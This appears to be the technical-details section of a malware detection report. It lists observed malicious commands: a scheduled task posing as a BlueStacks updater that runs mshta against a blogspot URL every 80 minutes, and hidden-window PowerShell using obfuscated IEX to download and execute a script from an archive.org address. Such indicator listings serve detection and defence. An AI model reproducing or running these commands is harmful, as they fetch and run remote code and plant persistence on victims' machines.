Technical Information
- <SYSTEM32>\tasks\bluestacksiuptad
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' schtasks /create /sc MINUTE /mo 80 /tn ""BlueStacksIUptad"" /F /tr ""\""MsHtA""\""http://12##########948@bukbukbukak.blogspot.com/p/7.html\""' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia601400.us.archive.org/16/items/mrchen/mrchen.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([Sy...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' schtasks /create /sc MINUTE /mo 80 /tn ""BlueStacksIUptad"" /F /tr ""\""MsHtA""\""http://12##########948@bukbukbukak.blogspot.com/p/7.html\""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia601400.us.archive.org/16/items/mrchen/mrchen.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([Sy...
- '<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn BlueStacksIUptad /F /tr MsHtA"http://12##########948@bukbukbukak.blogspot.com/p/7.html